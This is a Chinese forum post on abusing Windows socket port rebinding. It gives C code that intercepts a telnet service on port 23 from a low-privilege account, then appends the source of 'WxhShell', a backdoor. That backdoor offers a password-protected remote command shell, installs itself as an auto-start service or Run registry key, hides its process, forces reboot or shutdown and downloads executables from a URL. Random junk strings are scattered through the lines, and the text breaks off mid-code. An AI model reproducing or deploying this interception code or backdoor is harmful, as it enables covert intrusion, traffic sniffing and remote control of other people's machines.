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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `At.$3B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Wg= Tuef  
Q G) s  
  saddr.sin_family = AF_INET; $0*sj XV  
F?L]Dff  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t Zxx#v`  
-oD,F $Rb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Bz+oM N#XJ  
G,8mFH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QE<Z@/V*a  
OqGp|`  
  这意味着什么?意味着可以进行如下的攻击: (qcFGM22U  
cJKnB!iL5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N,t9X7G&  
?7\V)$00(&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UG1<Xfu|  
\0@DOW22C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xL* psj  
ET*A0rt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h y rPu_  
 ^`H'LD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "+DA)K  
FlO?E3d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9~ p;iiKGG  
;_sJ>.=\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )1<0c@g=  
cIug~ x>  
  #include ]+lT*6P*  
  #include +'H[4g`  
  #include L K&c~ Uy  
  #include    }gSoBu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o:8ns m  
  int main() g%2G=gR$?z  
  { g$(Y\`zw  
  WORD wVersionRequested; Quth5  
  DWORD ret; +U fw  
  WSADATA wsaData; _/[qBe  
  BOOL val; %PW-E($o<  
  SOCKADDR_IN saddr; _JH.&8  
  SOCKADDR_IN scaddr; 2%/F`_XbP  
  int err; a[ULSYEi  
  SOCKET s; & -/J~b)"  
  SOCKET sc; K#FD$,c~  
  int caddsize; ]t[%.^5#  
  HANDLE mt; BKFO^  
  DWORD tid;    &_)P)L  
  wVersionRequested = MAKEWORD( 2, 2 ); $.,PteYK  
  err = WSAStartup( wVersionRequested, &wsaData ); (nqhX<T>  
  if ( err != 0 ) { =i~ = |K!  
  printf("error!WSAStartup failed!\n"); |:)Bo<8  
  return -1; }3 /io0"D  
  } &0 QUObK  
  saddr.sin_family = AF_INET; XT0-"-q  
   tbQY&TO1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /.:1Da  
-6MPls+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _ $PeFE2  
  saddr.sin_port = htons(23); cGE{dWz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R;"$PH D  
  { s:<y\1Ay  
  printf("error!socket failed!\n"); {[uhIJD3g6  
  return -1; 2e6P?pX~2  
  }  2_$8Ga  
  val = TRUE; eKP >} `  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1^IMoC7$#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $`xpn#l z  
  { \t{iyUxY  
  printf("error!setsockopt failed!\n"); n3e,vP? R  
  return -1; /G5KNSi  
  } 8] LF{Obz[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~'*23]j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5?3v;B6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E2Sj IR}  
[w](x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CfOyHhhKX  
  { X8}r= K~  
  ret=GetLastError(); l(Y32]Z   
  printf("error!bind failed!\n"); c| %5SA  
  return -1; 2tU3p<[  
  } S5|7D[*  
  listen(s,2); :F d1k Jm  
  while(1) 4#t'1tzu#  
  { &"u(0q  
  caddsize = sizeof(scaddr); |A4B4/!  
  //接受连接请求 t{,$?}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I/'>MDB!  
  if(sc!=INVALID_SOCKET) !fs ~ >  
  { %g*nd#wG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7L+Wj }m  
  if(mt==NULL) *wAX&+);  
  { E[hSL#0  
  printf("Thread Creat Failed!\n"); do`'K3a"  
  break; }51QUFhL0  
  }  -raK  
  } \,v^v]|  
  CloseHandle(mt); YBY;$&9  
  } zGe =l;  
  closesocket(s); fq1w <e  
  WSACleanup(); 6l|L/Z_6  
  return 0; +4J'> dr  
  }   X6sZwb  
  DWORD WINAPI ClientThread(LPVOID lpParam) -0uGzd+m*  
  { M5[#YG'FlQ  
  SOCKET ss = (SOCKET)lpParam; "eoPG#]&  
  SOCKET sc; 0MT?}D&TL  
  unsigned char buf[4096]; uWGp>;meO  
  SOCKADDR_IN saddr; '>[ZfT  
  long num; TaF*ZT2  
  DWORD val; n4?;!p<F  
  DWORD ret; +;H=_~b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uA`e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #WA7}tHb  
  saddr.sin_family = AF_INET; W)`>'X`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EQnU:a  
  saddr.sin_port = htons(23); C&F% j.<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kFJ]F |^7  
  { 7<kr|-  
  printf("error!socket failed!\n"); w2$ L;q  
  return -1; x ~l"'qsK  
  } e?\Od}Hbw  
  val = 100; 0#c-qy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D _\HX9  
  { SdufI_'B  
  ret = GetLastError(); AU*]D@H  
  return -1; 'bv(T2d~~  
  } 4o''C |ND  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .yzXw8~S  
  { :wzbD,/M  
  ret = GetLastError(); W9Us I  
  return -1; XW'7  
  } ~+\A4BW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (3 ,7  
  { 2AqcabI9  
  printf("error!socket connect failed!\n"); 9U9ghWH8  
  closesocket(sc); h1)+QLI  
  closesocket(ss); aorL,l  
  return -1; AB!({EIi  
  } -Hi_g@i*XW  
  while(1) KJn 3&7  
  { cLp9|y0r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WnQ'I=E#~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AzGbvBI&V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C _W]3  
  num = recv(ss,buf,4096,0); Q#*qPg s  
  if(num>0) u`L*  
  send(sc,buf,num,0); cB;DB) 0P  
  else if(num==0) U ;4;>  
  break; (^=kV?<  
  num = recv(sc,buf,4096,0); d6W&u~  
  if(num>0) HDo=WqG  
  send(ss,buf,num,0); _#<l -R`  
  else if(num==0) ?#5)TAW  
  break; 2}{[ J  
  } 11J:>A5zt  
  closesocket(ss); oOQan  
  closesocket(sc); }WQ:Rmi  
  return 0 ; $~EY:  
  } EU5(s*A  
Mi!ak  
']Km%uwL  
========================================================== 8W.-Y|[5?  
z ISy\uka  
下边附上一个代码,,WXhSHELL jaTCRn3|<  
7")&njQ/x  
========================================================== ^-}3 +YA  
H]lD*3b  
#include "stdafx.h" a 8jG')zg  
oRn5blj  
#include <stdio.h> F, 5}3$  
#include <string.h> yErvgf  
#include <windows.h> 'bef3P9`  
#include <winsock2.h> KbRKPA`  
#include <winsvc.h> v^IMN3^W  
#include <urlmon.h> Yh%  
@iz6)2z  
#pragma comment (lib, "Ws2_32.lib") Io;26F""  
#pragma comment (lib, "urlmon.lib") `tsqnw  
i];@e]   
#define MAX_USER   100 // 最大客户端连接数 "%t !+E>nr  
#define BUF_SOCK   200 // sock buffer g.EKdvY"%H  
#define KEY_BUFF   255 // 输入 buffer 1 pzd  
qr/N?,  
#define REBOOT     0   // 重启 \AR3DDm  
#define SHUTDOWN   1   // 关机 l5k]voG  
8j%lM/ v  
#define DEF_PORT   5000 // 监听端口 2wh{[Q2f  
_`94CC:  
#define REG_LEN     16   // 注册表键长度 cW $~86u"C  
#define SVC_LEN     80   // NT服务名长度 9;c]_zt  
-E!V;Tgc%U  
// 从dll定义API Kib?JRYt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l\-(li H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \=g%W^i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r(=3yd/G$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 01^W Py9l  
j@s,5:;[  
// wxhshell配置信息 QeAkuqT'[  
struct WSCFG {  )2,\Y  
  int ws_port;         // 监听端口 UUql"$q  
  char ws_passstr[REG_LEN]; // 口令 yIThzy S  
  int ws_autoins;       // 安装标记, 1=yes 0=no j#XU\G  
  char ws_regname[REG_LEN]; // 注册表键名 (aH_K07  
  char ws_svcname[REG_LEN]; // 服务名 {Q~A;t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }%-`CJ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vCNYqa)m:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z[, `  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;,&1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u"n ~ 9!G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ph1veD<ZZ  
? Kn~fs8  
}; k}Vu!+cz  
Ol@ YSkd  
// default Wxhshell configuration \+w -{"u$  
struct WSCFG wscfg={DEF_PORT, K31rt-IIt  
    "xuhuanlingzhe", aKCXV[PO   
    1, A&0sD}I\K  
    "Wxhshell", SY2B\TV  
    "Wxhshell", 8:A6Ew&\]O  
            "WxhShell Service", mY1$N}8fm  
    "Wrsky Windows CmdShell Service", 2? 7a\s  
    "Please Input Your Password: ", C44 Dz.rs  
  1, aI8K*D )@  
  "http://www.wrsky.com/wxhshell.exe", `Uw^,r  
  "Wxhshell.exe" P3YG:*  
    }; FCmS3KIa,  
t UW'E  
// 消息定义模块 }%rz"kB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P8s'e_t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h^0!I TL^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {4{ACp  
char *msg_ws_ext="\n\rExit."; vi>V6IC4v  
char *msg_ws_end="\n\rQuit."; >!YI7)  
char *msg_ws_boot="\n\rReboot..."; #6JCm!s  
char *msg_ws_poff="\n\rShutdown..."; 7QRtNYo#\  
char *msg_ws_down="\n\rSave to "; {ByT,92  
7[V'3  
char *msg_ws_err="\n\rErr!"; Z)(C7,Xu  
char *msg_ws_ok="\n\rOK!"; /T*]RO4%>]  
sOW-GWSE<  
char ExeFile[MAX_PATH]; #H1yjJQ /x  
int nUser = 0; \9BIRY`  
HANDLE handles[MAX_USER]; _hLM\L  
int OsIsNt; }g _#.>D+  
SR S~s  
SERVICE_STATUS       serviceStatus; T ~t%3G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZA ii"F  
 o*QhoDjc  
// 函数声明 ziy~~J  
int Install(void); ? B^*YCo7(  
int Uninstall(void); sM~|}|p  
int DownloadFile(char *sURL, SOCKET wsh); PHD$E s  
int Boot(int flag); F:M3^I  
void HideProc(void); hD l+  
int GetOsVer(void); *Qg/W? "m  
int Wxhshell(SOCKET wsl); Ph.$]yQCc]  
void TalkWithClient(void *cs); /^0Hi4+\  
int CmdShell(SOCKET sock); Md[nlz  
int StartFromService(void); ?(U> )SvF  
int StartWxhshell(LPSTR lpCmdLine); U1rh[A>  
`^afbW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ybx4 Up@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !H,R$3~  
$X-,6*  
// 数据结构和表定义 f5/ba9n I  
SERVICE_TABLE_ENTRY DispatchTable[] = q@u$I'`Bs  
{ B69NL  
{wscfg.ws_svcname, NTServiceMain}, ]]%CO$`T [  
{NULL, NULL} mnXaf)"  
}; H, =??wN  
"$:nz}  
// 自我安装 ^ tm,gh  
int Install(void) e v?Hz8Q;(  
{ P[ KJuc  
  char svExeFile[MAX_PATH]; 8N8B${X  
  HKEY key; : ZU  
  strcpy(svExeFile,ExeFile); JCaT^KLz  
"Rs^0iT7>  
// 如果是win9x系统,修改注册表设为自启动 K=Fcy#, f  
if(!OsIsNt) { !Nl"y'B|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v?h#Ym3e<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &2#x(v  
  RegCloseKey(key); 1p9f& w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '(u[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /tP"r}l   
  RegCloseKey(key); !OWV* v2  
  return 0; mKnkHGM  
    } vC J  
  } Vv=d*  
} ?~S\^4]  
else { _.FxqH>  
NRq jn; ,+  
// 如果是NT以上系统,安装为系统服务 xb_35'$M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K$' J:{yY  
if (schSCManager!=0) tp*AA@~  
{ <h7C_^L10\  
  SC_HANDLE schService = CreateService l= !KZaH  
  ( vM\8>p*U  
  schSCManager, S]{K^Q),  
  wscfg.ws_svcname, 18ci-W#p  
  wscfg.ws_svcdisp, uu=e~K  
  SERVICE_ALL_ACCESS, a50{gb#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zc,fJM  
  SERVICE_AUTO_START, R0\E?9P  
  SERVICE_ERROR_NORMAL, Yw+_( 2 9=  
  svExeFile, ;U}lh~e11  
  NULL, t]" 3vE>  
  NULL, )Cyrs~  
  NULL, d%4!d_I<  
  NULL, U4zyhj  
  NULL T92k"fBY  
  ); eyl+D sK  
  if (schService!=0) ga~rllm;i  
  { Sjj &n S  
  CloseServiceHandle(schService); #xE" ];  
  CloseServiceHandle(schSCManager); yZA }WTGe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Xf}vdgdM$  
  strcat(svExeFile,wscfg.ws_svcname); (D{9~^EO>a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yHk/8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P",~8Aci(  
  RegCloseKey(key); pt|u?T_+  
  return 0; kY4riZnm  
    } kV6T#RVob  
  } *]O[ZjyOY  
  CloseServiceHandle(schSCManager); H-0A&oG  
} Cq/*/jBM  
} i~.L{K  
/[t]m,p$yq  
return 1; =Q Otag1;  
} G4MNcy  
PS!f&IY}[.  
// 自我卸载 :)?w 2'O  
int Uninstall(void) n>Q/XQXB  
{ eA#J7=eC  
  HKEY key; D`r:`  
[ZOo%"M_Y  
if(!OsIsNt) { q}tLOVu1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xQ7>u -^  
  RegDeleteValue(key,wscfg.ws_regname); .v0.wG  
  RegCloseKey(key); x"5/1b3aq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `gD'q5.z;3  
  RegDeleteValue(key,wscfg.ws_regname); GZ UDI#  
  RegCloseKey(key); , S}[48$  
  return 0; # TC x8]F  
  } do7 [Nj  
} #U(dleT8  
} 8GV$L~i  
else {  [L] ca*  
&T}~h^/t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4vW:xK  
if (schSCManager!=0) !YsL x[+  
{  N6E H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2|kx:^D p  
  if (schService!=0) r^VH [c@c  
  { hf8 =r5j=  
  if(DeleteService(schService)!=0) { n4qj"x Q  
  CloseServiceHandle(schService); BRFA%FZ,  
  CloseServiceHandle(schSCManager); %{5mkO&,2  
  return 0; 'X"@C;q  
  } ^zO%O653  
  CloseServiceHandle(schService); Pfe&wA't  
  } VLA9&.*@  
  CloseServiceHandle(schSCManager); D%Hz'G0|  
} u==bLl=$  
} ;:hyW,J  
73rr"> 9#0  
return 1; = %\;7  
} /R b`^n#  
|u<qbl  
// 从指定url下载文件 2W~,,$ G  
int DownloadFile(char *sURL, SOCKET wsh) / \!hW-+]W  
{ ;Pnz4Y4|eU  
  HRESULT hr; \NDSpT<Z  
char seps[]= "/"; k6QQoLb$V  
char *token; T`Sp!  
char *file; BPIp3i  
char myURL[MAX_PATH]; smF#'"{  
char myFILE[MAX_PATH]; 8AOJ'~$  
8sx\b  
strcpy(myURL,sURL); P'KaWu9z  
  token=strtok(myURL,seps); KaZ*HPe(  
  while(token!=NULL) O+@"l$;N  
  { {Fta4D_1N  
    file=token; 8h78Zb&[  
  token=strtok(NULL,seps); ^EN_C<V;"d  
  } #| `W ]  
q<>LK  
GetCurrentDirectory(MAX_PATH,myFILE); 6K5KZZG  
strcat(myFILE, "\\"); 1%G<gbHpI  
strcat(myFILE, file); /KO!s,Nk  
  send(wsh,myFILE,strlen(myFILE),0); <:W]uT  
send(wsh,"...",3,0); WhMr'l/e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #^" \WG7{  
  if(hr==S_OK) yrs![u  
return 0; iKu[j)F  
else hT>h  
return 1; 5- 0  
sT?Qlj'Zd  
} /Tv=BXL-  
uB>NwCL;  
// 系统电源模块 P)XkqOGpT9  
int Boot(int flag) C=t:0.:PJ  
{ @ZK#Y){  
  HANDLE hToken; G9<p Yt{:  
  TOKEN_PRIVILEGES tkp; 403%~  
P>z k  
  if(OsIsNt) { yYkk0 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vHZw{'5y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K8$Hg:Ky-/  
    tkp.PrivilegeCount = 1; @sO*O4os>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \5BI!<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]0GOSh  
if(flag==REBOOT) { aEW Z*y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2[}^ zTtA  
  return 0; 9TjAEeU  
} .Kv>*__-Q  
else { c (O+s/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {:$0j|zL1  
  return 0; IvTtQq  
} /tikLJ  
  } if9I7@  
  else { dJ"3F(X  
if(flag==REBOOT) { Ka1 F7b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C0[Rf.*  
  return 0; HU-4k/I~  
} 6]Q ~c"+5  
else { h6}oRz9=g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q*+@"tk<  
  return 0; E j@M\  
} )#l &F$  
} {c<MB xk  
WW2VW-Hk  
return 1; E1_FK1*V;  
} !T@>Ld:  
b#FN3AsR  
// win9x进程隐藏模块 v1?P$f*g  
void HideProc(void) m=k(6  
{ ;TD<\1HJT=  
>V;JI;[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XtRfzqg?K  
  if ( hKernel != NULL ) 12])``9  
  { ez%RWck  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [&k[k)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >P/kb fPA  
    FreeLibrary(hKernel); ])!|b2:s3  
  } &ME[H  
%?J\P@  
return; 2/RK pl &  
} e<dFvMO  
G'q7@d {'  
// 获取操作系统版本 fw ._  
int GetOsVer(void) cpz}!D  
{ jb$sIZ%i  
  OSVERSIONINFO winfo; G1  %c<1Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2f]:n  
  GetVersionEx(&winfo); EMU~gwPR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3!`Pv ?|o  
  return 1; di]z  
  else ?q1&(g]qO  
  return 0; t*5d'aE`/  
} 64z9Yr@  
PA 5ET@mD  
// 客户端句柄模块 MI0'ou8l  
int Wxhshell(SOCKET wsl) s<5q%5ix3  
{ SE)_5|k*  
  SOCKET wsh; 17tph;  
  struct sockaddr_in client;  V7%G?  
  DWORD myID; a8rsF  
EShc1KPqc  
  while(nUser<MAX_USER) C_dsYuQ5R  
{ aj51%wKMb:  
  int nSize=sizeof(client); PvBx<i}A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E^zgYkZO  
  if(wsh==INVALID_SOCKET) return 1; }>b4s!k,  
YR'?fr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E0$UoP   
if(handles[nUser]==0) 'Sppm;?  
  closesocket(wsh); F\Q)l+c  
else 3hab51J  
  nUser++; [@U8&W  
  } F8Z<JcOI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h#@l'Cye  
B~^MhX +j  
  return 0; y GT"k,a  
} N(vzxx^  
EXH{3E54)`  
// 关闭 socket bI TOA  
void CloseIt(SOCKET wsh) OYzt>hdH  
{ %eGxQDIXg  
closesocket(wsh); sqi~j(&\1  
nUser--; Jy@cMq2  
ExitThread(0); Y;6<AIx>  
} bM;yXgorU  
V.)y7B  
// 客户端请求句柄 /*`BGNkYY  
void TalkWithClient(void *cs) N~{0QewMI'  
{ ;@Ep?S @  
^c83_93)R  
  SOCKET wsh=(SOCKET)cs; bxyEn'vNvQ  
  char pwd[SVC_LEN]; @g9j+DcU  
  char cmd[KEY_BUFF]; 2`+?s  
char chr[1]; ZLyJ  
int i,j; =rl/ l8|P  
Re5m  
  while (nUser < MAX_USER) { \3n{%\_  
t;Jt+k~  
if(wscfg.ws_passstr) { IJ!]1fXy+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |xZDc6HDW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 33J}AK^FE  
  //ZeroMemory(pwd,KEY_BUFF); 9-o{[  
      i=0; )b m|],'  
  while(i<SVC_LEN) { Jc~^32  
yiQke   
  // 设置超时 v\rOs+.s  
  fd_set FdRead; uEWWY t  
  struct timeval TimeOut; 1B'i7  
  FD_ZERO(&FdRead); ^%~ztn 51  
  FD_SET(wsh,&FdRead); x,E#+ m  
  TimeOut.tv_sec=8; cBmo#:>'  
  TimeOut.tv_usec=0; 0 !9vGs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g-pDk*|I,Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &FHE(7}/#  
8xj4N%PA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , M/-lW  
  pwd=chr[0]; Bjml%  
  if(chr[0]==0xd || chr[0]==0xa) { 8H./@~_ =  
  pwd=0; Ox?LVRvxI  
  break; E87/B%R  
  } iN*d84KTP  
  i++; &YO5N4X~o  
    } v|VY5vN  
EhEn|%S  
  // 如果是非法用户,关闭 socket cNw<k&w6F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PtO-%I<N  
} G\Hck=P[$3  
#I%< 1c%XA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `=uCp^ +v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q&(?D  
w!:u|  
while(1) { .!KlN%As  
[4 g5 {eX  
  ZeroMemory(cmd,KEY_BUFF); \cPGyeq  
`PSr64h:D  
      // 自动支持客户端 telnet标准   Y((z9-`  
  j=0; q\O'r[&V  
  while(j<KEY_BUFF) { E?y0UD[8J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NhCO C  
  cmd[j]=chr[0]; fdho`juFa  
  if(chr[0]==0xa || chr[0]==0xd) { kOVx]=  
  cmd[j]=0; K).X=2gjY  
  break; 6'(5pt  
  } y 97QqQ^  
  j++; $LAaG65V  
    } Xa*52Q`_  
T=VVK6Lc:  
  // 下载文件 )jR:\fe  
  if(strstr(cmd,"http://")) { ?8-e@/E#x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); & ?/h5<  
  if(DownloadFile(cmd,wsh)) 9Vzk:zOT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.1(- "DU  
  else TmKO/N@}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BS*cG>T  
  } #Vv*2Mc  
  else { o1MbHBb  
r NU,(htS  
    switch(cmd[0]) { 20^F -,z  
  -ud~'<k  
  // 帮助 k :7UU4M 5  
  case '?': { j2qDRI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9`dQ7z.8t  
    break; =)Ew6} W6  
  } >gFF>L>  
  // 安装 _ H$ Cm  
  case 'i': { TT .EQv5  
    if(Install()) zY[6Ia{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{!s%K&  
    else zq4,%$y8|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); akm)X0!-}  
    break; xVfJ ]Y  
    } QlJCdCSy  
  // 卸载 "uGJ\  
  case 'r': { 2r?g|< :  
    if(Uninstall()) q5lRc=.b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cd7 j G  
    else Se"\PxBR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZJV6clM  
    break; rM[Ps=5  
    } PwF}yx kI  
  // 显示 wxhshell 所在路径 WHbvb3'  
  case 'p': { 7X|&:V.s|  
    char svExeFile[MAX_PATH]; kG?tgO?*  
    strcpy(svExeFile,"\n\r"); wH|\;M{0V1  
      strcat(svExeFile,ExeFile); Mu Z\<;W$  
        send(wsh,svExeFile,strlen(svExeFile),0); c1|o^eZ  
    break; ]a _;*Xq8d  
    } }y=7r!{@  
  // 重启 .a=M@; p  
  case 'b': { L4Nk+R;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zG [-n.  
    if(Boot(REBOOT)) 'G-VhvM v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .vG6\U7  
    else { Bq R;d  
    closesocket(wsh); z+wV(i97  
    ExitThread(0); 1)u= &t,  
    } )/ s 9ty  
    break; r+m8#uR  
    } q n=6>wP  
  // 关机 gjo\g P@  
  case 'd': { @sfV hWG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \VtCkb  
    if(Boot(SHUTDOWN)) bI]1!bi]i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=e?G300#L  
    else { 71K6] ~<  
